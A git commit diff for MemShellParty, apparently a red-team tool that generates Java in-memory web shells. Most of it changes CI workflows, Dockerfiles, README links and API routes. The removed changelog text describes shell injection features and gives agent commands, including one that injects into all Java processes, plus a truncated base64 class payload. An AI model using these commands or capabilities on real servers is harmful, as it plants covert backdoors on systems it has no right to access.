chore: 2.2.0

Co-authored-by: ReaJason <[email protected]>

.github/scripts/parse_changelog_of_version.py

@@ -9,7 +9,7 @@ if __name__ == '__main__':
     args = parser.parse_args()
     version = args.version
 
-    with open("../../web/content/docs/changelog.mdx") as f:
+    with open("../../CHANGELOG.md") as f:
         lines = f.readlines()
         for line in lines:
             if line.startswith(f"## [{version}]"):

.github/workflows/dev-deploy.yaml

@@ -12,26 +12,18 @@ on:
 jobs:
   build-jar:
     name: Build Jar
-    strategy:
+    runs-on: ubuntu-latest
-      matrix:
-        os: [ubuntu-latest, windows-latest]
-    runs-on: ${{ matrix.os }}
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
-
-      - name: Setup Node
-        uses: actions/setup-node@v6
-        with:
-          node-version: 22
 
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
@@ -42,16 +34,10 @@ jobs:
         working-directory: web
         run: bun install --frozen-lockfile && bun run build
 
-      - name: Build Boot with Gradle (Linux)
+      - name: Build Boot with Gradle
-        if: matrix.os == 'ubuntu-latest'
         run: ./gradlew :boot:test :boot:bootjar
 
-      - name: Build Boot with Gradle (Windows)
+      - name: Upload Boot Jar
-        if: matrix.os == 'windows-latest'
-        run: ./gradlew.bat :boot:test :boot:bootjar
-
-      - name: Upload Boot Jar (Linux)
-        if: matrix.os == 'ubuntu-latest'
         uses: actions/upload-artifact@v4
         with:
           name: boot
@@ -62,28 +48,28 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
-        uses: actions/download-artifact@v8
+        uses: actions/download-artifact@v4
         with:
           name: boot
           path: boot/build/libs
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -95,15 +81,15 @@ jobs:
     needs: [ build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Publish with Gradle
         env:

.github/workflows/docker-build-test.yml

@@ -22,7 +22,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
       - name: Build Docker image
         run: |
           docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
@@ -33,7 +33,7 @@ jobs:
           sleep 10
       - name: Test with curl
         run: |
-          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
+          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
              echo "Test successful!"
           else
             echo "Test failed!"

.github/workflows/docker-push.yml

@@ -15,21 +15,21 @@ jobs:
     name: Docker Push
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: .
           platforms: linux/amd64,linux/arm64

.github/workflows/memshell-integration-test.yml

@@ -27,7 +27,7 @@ jobs:
           - middleware: "jbossas"
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+            depend_tasks: ":vul:vul-webapp:war"
           - middleware: "wildfly"
             depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "glassfish"
@@ -48,22 +48,20 @@ jobs:
             depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
           - middleware: "xxljob"
             depend_tasks: ""
-          - middleware: "struct2"
+    runs-on: ubuntu-latest
-            depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-22.04
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}

.github/workflows/probe-integration-test.yml

@@ -25,7 +25,7 @@ jobs:
           - middleware: "jbossas"
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "jbosseap"
-            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+            depend_tasks: ":vul:vul-webapp:war"
           - middleware: "wildfly"
             depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
           - middleware: "glassfish"
@@ -42,22 +42,22 @@ jobs:
             depend_tasks: ":vul:vul-webapp:war"
           - middleware: "springwebmvc"
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
-          - middleware: "struct2"
+          - middleware: "springwebflux"
-            depend_tasks: ":vul:vul-struct2:war"
+            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Prepare for Integration Test
         run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
         run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
 
       - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v6
+        uses: mikepenz/action-junit-report@v5
         if: success() || failure()
         with:
           report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/release.yaml

@@ -14,7 +14,7 @@ jobs:
       version-without-v: ${{ steps.get_version.outputs.version-without-v }}
       changelog: ${{ steps.get_changelog.outputs.changelog }}
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Get Version
         id: get_version
@@ -36,21 +36,16 @@ jobs:
     name: Build Jar
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
-
-      - name: Setup Node
-        uses: actions/setup-node@v6
-        with:
-          node-version: 22
 
       - name: Setup Bun
         uses: oven-sh/setup-bun@v2
@@ -75,7 +70,7 @@ jobs:
     needs: [ info, build-jar ]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4
@@ -84,26 +79,26 @@ jobs:
           path: boot/build/libs
 
       - name: Login to GitHub Container Registry
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: ghcr.io
           username: ${{ github.repository_owner }}
           password: ${{ secrets.GITHUB_TOKEN }}
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v4
+        uses: docker/login-action@v3
         with:
           registry: docker.io
           username: ${{ vars.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v4
+        uses: docker/setup-qemu-action@v3
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v4
+        uses: docker/setup-buildx-action@v3
 
       - name: Build and push
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: boot
           platforms: linux/amd64,linux/arm64
@@ -115,7 +110,7 @@ jobs:
             ghcr.io/reajason/memshell-party:latest
 
       - name: Build and push RedQueen
-        uses: docker/build-push-action@v7
+        uses: docker/build-push-action@v6
         with:
           context: .
           platforms: linux/amd64,linux/arm64
@@ -130,15 +125,15 @@ jobs:
     name: Deploy to Maven Central
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Publish with Gradle
         env:
@@ -156,7 +151,7 @@ jobs:
     permissions:
       contents: write
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
 
       - name: Download Boot Jar
         uses: actions/download-artifact@v4

.github/workflows/single-integration-test.yml

@@ -1,47 +0,0 @@
-name: Single IntegrationTest
-
-on:
-  workflow_dispatch:
-    inputs:
-      depend_tasks:
-        description: '前置构建任务，如 :boot:jar :generator:jar'
-        required: false
-        default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
-        type: string
-      test_class:
-        description: '测试用例类名，如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
-        required: true
-        type: string
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
-  cancel-in-progress: true
-
-jobs:
-  integration-test:
-    runs-on: ubuntu-22.04
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v6
-
-      - name: Setup Java
-        uses: actions/setup-java@v5
-        with:
-          distribution: 'temurin'
-          java-version: 17
-
-      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
-
-      - name: Prepare for Integration Test
-        if: ${{ inputs.depend_tasks != '' }}
-        run: ./gradlew ${{ inputs.depend_tasks }}
-
-      - name: Integration Test with gradle
-        run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
-
-      - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v5
-        if: success() || failure()
-        with:
-          report_paths: '**/build/test-results/test/TEST-*.xml'

.github/workflows/unit-test.yml

@@ -17,16 +17,16 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Setup Java
-        uses: actions/setup-java@v5
+        uses: actions/setup-java@v4
         with:
           distribution: 'temurin'
           java-version: 17
 
       - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v6
+        uses: gradle/actions/setup-gradle@v4
 
       - name: Generator Unit Test with Gradle
         run: ./gradlew :generator:test

.gitmodules

@@ -1,3 +0,0 @@
-[submodule "libs"]
-	path = libs
-	url = https://github.com/ReaJason/javaweb-sources.git

CHANGELOG.md

@@ -1,178 +1,10 @@
----
+# Changelog
-title: 更新日志
-icon: ScrollText
----
 
 All notable changes to this project will be documented in this file.
 
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
-## [v2.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.0) - 2026-04-26
-
-### Added
-
-1. 添加 Alibaba Dubbo 和 Apache Dubbo Service 内存马，专门针对 Dubbo Provider 的场景（#32 By @ReaJason）
-2. 为 Attacher 添加默认列举 Java 进程和 `all` 参数注入所有 Java 进程的代码（与 JMG Agent.jar 命令一致）
-    ```bash
-    java -jar agent.jar # 列举所有 Java 进程
-    java -jar agent.jar <pid> # 注入指定 PID Java 进程
-    java -jar agent.jar all # 注入所有 Java 进程
-    ```
-3. 添加 Command Base64 Encryptor，方便测试 Base64 流量特征攻击
-
-### Fixed
-
-1. 修复测试用例 WAS7(IBM JDK6) 下需要添加 `-Xshareclasses:none` JVM 参数才能注入成功，否则报错 UnmodifiableClassException
-
-### Changed
-
-1. 添加 tomcat-embed-core 依赖，Spring Boot 4 应用依赖时能直接使用 Tomcat 容器进行部署（Spring Boot 4 不再支持 Undertow）
-2. 前端依赖更新，将格式化工具 biomejs 改为 oxc
-
-**Full Changelog:** [v2.6.1...v2.7.0](https://github.com/ReaJason/MemShellParty/compare/v2.6.1...v2.7.0)
-
-## [v2.6.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.1) - 2026-03-30
-
-### Fixed
-
-1. (UI)修复 SpringWebMVC 生成 Controller 点击生成按钮无效（#140 Thanks @ekkoo-z By @ReaJason）
-2. 修复 WebSocket Proxy OOM（#127 Thanks @xiaoxiaoranxxx）
-
-### Changed
-
-1. 依赖更新
-2. web docs 更新，支持复制 markdown 以及点击跳转 GitHub 等界面
-
-**Full Changelog:** [v2.6.0...v2.6.1](https://github.com/ReaJason/MemShellParty/compare/v2.6.0...v2.6.1)
-
-## [v2.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.6.0) - 2026-02-08
-
-### Added
-
-1. 为 ByteBuddyGenerator 添加 postProcessBytes 模板方法，支持生成后对 shell bytes 进行操作
-2. 支持 Resin 2.1.17 Agent 内存马的生成
-3. 同步更新 Suo5V2 v2.5.1 修复逻辑（#135 By @zema1）
-
-### Fixed
-
-1. (UI)修复生成按钮防连点失效（By @ReaJason）
-2. 修复 ServletRenameVisitorWrapper 可能会导致部分 ByteBuddy Advisor 方法选中失效
-3. 去除 JSP 脚本中 `Class<?>` 泛型，改为 `Class`，修复低版本 Servlet 容器解析失败
-
-### Changed
-
-1. Suo5V2 抽取 Loader 进行 Suo5V2 的核心代码加载，增加可维护性（#136）
-2. 依赖更新
-
-**Full Changelog:** [v2.5.0...v2.6.0](https://github.com/ReaJason/MemShellParty/compare/v2.5.0...v2.6.0)
-
-## [v2.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.5.0) - 2026-01-19
-
-### Added
-
-1. 添加 WebSocket BypassNginx 实现，使用方式见文档（By @ReaJason）
-2. 添加 WebSocket Proxy 实现，使用方式见文档（#126，Thanks @xiaoxiaoranxxx）
-3. 添加 JSP/JSPX Unicode 打包方式（#116 Thanks @Ch1ngg）
-4. (UI)添加目标 JRE 版本的选择，防止部分情况下无法使用 JDK8 API（#131 Thanks @LTP414）
-
-### Fixed
-
-1. 修复自定义内存马 Agent 型无法显式调用 Jakarta API（#131 Thanks @LTP414）
-2. (UI)修复自定义内存马文件上传框中文字不居中
-
-### Changed
-
-1. 调整哥斯拉 WebSocket 马使用 **AES_RAW** 同时支持 GitHub 插件和特战版都可连接，使用方式见文档
-2. 重构 MemShell 和 ProbeShell 集成测试用例，减少代码量
-3. 支持 Spring 相关集成测试用例调用远程 docker 完成测试（目前所有集成测试用例可支持在远程 docker 执行）[customizing-docker-host-detection](https://java.testcontainers.org/features/configuration/#customizing-docker-host-detection)
-4. 配置 Gradle 构建打包自动发布至 Maven Central(不需要额外去网页手动点 Publish)
-5. 重命名仓库中 asserts -> assets
-6. 依赖更新
-
-**Full Changelog:** [v2.4.2...v2.5.0](https://github.com/ReaJason/MemShellParty/compare/v2.4.2...v2.5.0)
-
-## [v2.4.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.2) - 2026-01-12
-
-### Added
-
-1. 新增对 WebSphere open-liberty 的内存马注入以及回显马（By @ReaJason）
-2. 支持 Filter 调序为第一个，解决部分鉴权 Filter 的连接干扰
-3. 新增回显马可回显 Filter 列表
-4. 添加 libs 子模块，存放部分中间件源码包方便进行代码编写和调试以及便于编写后续源码分析文档
-5. 目标服务文档填写适配表格，展示各版本该如何选取对应内存马挂载类型，https://dev-party.mem.mk/ui/docs/server-intro
-6. 添加文档 tree 结构，欢迎一起完善文档
-
-### Fixed
-
-1. 修复注入器上下文获取失败时不会正确打印 `context not found`
-2. 修复文档页直接点击子菜单时 502 无法正确显示
-3. 修复 web 前端项目无法在 Windows 环境正确编译（Thanks @kN6jq）
-4. 修复 Jetty 回显马，直接使用 Request 和 Callback 导致部分环境 ClassNotFound 问题（改用反射调用）
-
-### Changed
-
-1. 调整 testcontainer 获取 host 的处理，支持使用远程 docker 环境完成测试
-2. 简化 WebLogic context 获取代码，改为从 JMX 中获取
-3. 依赖更新
-
-**Full Changelog:** [v2.4.1...v2.4.2](https://github.com/ReaJason/MemShellParty/compare/v2.4.1...v2.4.2)
-
-## [v2.4.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.1) - 2025-12-16
-
-### Fixed
-
-1. 修复 Suo5v2、Godzilla、Command Listener 等无法中断请求的场景下未 close 响应流导致连接失败 (#120 By @ReaJason, @zema1 Thanks @whwlsfb)
-2. 修复非调试模式下，throwable.printStackTrace 未被正确移除
-3. 修复 responseBody 回显马如果业务优先触发 getOutputStream 或 getWriter 导致回显失败（#122 Thanks @localurk）
-4. 修复某软新版获取不到 context 导致 Tomcat 内存马无法注入的问题（Thanks @unam4）
-
-### Changed
-
-1. generator 模块去除 bcel 依赖，简化 jackson 依赖
-2. UI 添加 tooltip 简易描述方便使用，并优化部分布局细节
-3. UI 迁移 radix-ui 至 base-ui
-4. 文档更新、依赖更新
-
-**Full Changelog:** [v2.4.0...v2.4.1](https://github.com/ReaJason/MemShellParty/compare/v2.4.0...v2.4.1)
-
-## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
-
-### Added
-
-1. 支持 Suo5 V2 版本内存马生成（[#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1）
-2. 支持 Struct2 Action 内存马与回显马生成
-
-### Changed
-
-1. ui 探测马生成去除 jar 相关打包方式
-
-**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
-
-## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
-
-### Added
-
-1. 支持 Jetty Handler 与 Customizer 内存马生成（By @ReaJason）
-2. 支持 Jetty ee8~ee11 的回显马（无法从 post urlencoded 中获取 parameter，请从 url queryParam 或 header 传入参数）
-3. **内存马生成支持回显模式对接回显马**
-4. 支持 Tomcat Upgrade 内存马注入（仅 Tomcat8+ 可用）
-5. 支持添加 lambda 类名后缀开关（[#97](https://github.com/ReaJason/MemShellParty/issues/97)）
-6. 命令执行内存马与回显马支持自定义命令模板（[#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)）
-7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
-8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架，支持文档编写
-9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
-10. 支持 GroovyTransformJar 打包方式（fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)）
-11. 回显马参数名称支持默认随机生成
-
-### Changed
-
-1. 由于 jetty handler 依赖的类干扰，boot 容器从 jetty 改为 undertow
-2. 注入器和回显马添加 ok 标识仅运行一次，降低代码运行时间
-3. boot 接口添加 /api 前缀，web 添加 /ui 前缀
-
-**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
-
 ## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
 
 ### Added
@@ -211,16 +43,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式（GeoServer 漏洞注入）
 4. 添加 Base64URLEncoded 打包方式（配合回显马进行小马拉大马测试）
 5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
-
+    ```http
-```http
+   /path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
-/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
+   ```
-```
+   改为只需要如下方式
-
+   ```http
-改为只需要如下方式
+   /path/code?payload=IBVQEAJ29yZy9hcGFj...
-
+   ```
-```http
-/path/code?payload=IBVQEAJ29yZy9hcGFj...
-```
 
 ### Fixed
 

Dockerfile

@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""
@@ -14,9 +14,9 @@ ARG CONTEXT_PATH=""
 WORKDIR /usr/src/web
 
 ENV VITE_APP_API_URL=${CONTEXT_PATH} \
-    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
+    VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
 
-COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
+COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
 
 RUN bun install --frozen-lockfile
 
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
 RUN bun run build
 
 # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
-FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.17_10-jdk-noble AS backend
+FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.15_6-jdk-noble AS backend
 
 WORKDIR /usr/src
 
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
 
 RUN ./gradlew :boot:bootjar -x test
 
-FROM eclipse-temurin:17.0.17_10-jre-noble
+FROM eclipse-temurin:17.0.15_6-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

README.md

@@ -12,7 +12,7 @@
 <div align="center">
 
 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
-[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
 </div>
 
 > [!WARNING]
@@ -25,10 +25,10 @@
 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，致力于简化安全研究人员和红队成员的工作流程，提升攻防效率。
 
 <p align="center">
-  <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
-  <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
-  <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
-  <img src="assets/about_page.png" alt="about_page" width="24%">
+  <img src="asserts/about_page.png" alt="about_page" width="24%">
 </p>
 
 ## 主要特性
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
 
 ### 使用前必看
 
-[Java 服务简介.md](web/content/docs/server-intro.mdx)，用于了解 MemShellParty
+[Java 服务简介.md](./docs/ServerIntro.md)，用于了解 MemShellParty
 中针对各个服务适配的情况，针对不同的应用选择合适的服务类型。
 
 探测马中探测服务类型已经做了一一对应，探测出来的服务类型，即是可生成内存马的服务类型（非中间件类型，例如 Apusic10 探测出来的结果为
@@ -57,9 +57,9 @@ GlassFish，因为它使用的是 GlassFish 进行的二开）。
 
 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
 
-可访问（master 分支） [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
+可访问（master 分支） [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
 
-对于正在开发的功能可访问（dev 分支）  [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
+对于正在开发的功能可访问（dev 分支）  [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
 
 ### 本地部署（推荐）
 
@@ -78,6 +78,23 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
 ```
 
+镜像是无状态的，在需要更新最新镜像时，直接移除新建就好了
+
+```bash
+# 移除之前部署的
+docker rm -f memshell-party
+
+# 使用之前的部署命令重新部署（会自动拉取最新的镜像部署）
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
+```
+
+## User Guide
+
+1. [适配情况](./docs/Compatibility.md)
+2. [本地构建](./docs/BuildOnLocal.md)
+3. [SDK 集成](./examples/memshell-party-maven-example)
+4. [代码贡献](./CONTRIBUTING.md)
+
 ## Special Thanks
 
 - [vulhub/java-chains](https://github.com/vulhub/java-chains)

asserts/neoreg/Dockerfile

@@ -2,7 +2,7 @@ FROM python:3.12-slim
 
 WORKDIR /app
 
-RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
+RUN pip install requests
 
 COPY neoreg.py .
 

boot/Dockerfile

@@ -1,4 +1,4 @@
-FROM eclipse-temurin:17.0.17_10-jre-noble
+FROM eclipse-temurin:17.0.14_7-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

boot/build.gradle.kts

@@ -1,6 +1,6 @@
 plugins {
     id("java")
-    id("org.springframework.boot") version "3.5.8"
+    id("org.springframework.boot") version "3.5.7"
     id("io.spring.dependency-management") version "1.1.7"
 }
 
@@ -21,8 +21,6 @@ configurations {
     }
 }
 
-extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
-
 dependencies {
     implementation(project(":generator")) {
         exclude(group = "commons-logging", module = "commons-logging")
@@ -35,7 +33,7 @@ dependencies {
         exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
     }
     implementation(libs.commons.lang3)
-    implementation("org.springframework.boot:spring-boot-starter-undertow")
+    implementation("org.springframework.boot:spring-boot-starter-jetty")
     compileOnly("org.projectlombok:lombok")
     developmentOnly("org.springframework.boot:spring-boot-devtools")
     annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")

boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java

@@ -17,7 +17,7 @@ import java.util.Base64;
 @CrossOrigin("*")
 public class ClassNameParseController {
 
-    @PostMapping("/api/className")
+    @PostMapping("/className")
     public String className(@RequestBody String classBase64) {
         return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
     }

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -17,7 +17,7 @@ import java.util.*;
  * @since 2024/12/13
  */
 @RestController
-@RequestMapping("/api/config")
+@RequestMapping("/config")
 @CrossOrigin("*")
 public class ConfigController {
 

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

@@ -19,7 +19,7 @@ import java.util.Base64;
  * @since 2024/12/18
  */
 @RestController
-@RequestMapping("/api/memshell/generate")
+@RequestMapping("/memshell/generate")
 @CrossOrigin("*")
 public class MemShellGeneratorController {
     @PostMapping

boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java

@@ -15,7 +15,7 @@ import org.springframework.web.bind.annotation.*;
  * @since 2025/8/10
  */
 @RestController
-@RequestMapping("/api/probe/generate")
+@RequestMapping("/probe/generate")
 @CrossOrigin("*")
 public class ProbeShellGeneratorController {
     @PostMapping

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -22,7 +22,7 @@ import java.util.Map;
  */
 @RestController
 @CrossOrigin("*")
-@RequestMapping("/api/version")
+@RequestMapping("/version")
 public class VersionController {
 
     @Value("${spring.application.version}")

boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java

@@ -1,70 +1,16 @@
 package com.reajason.javaweb.boot.controller;
 
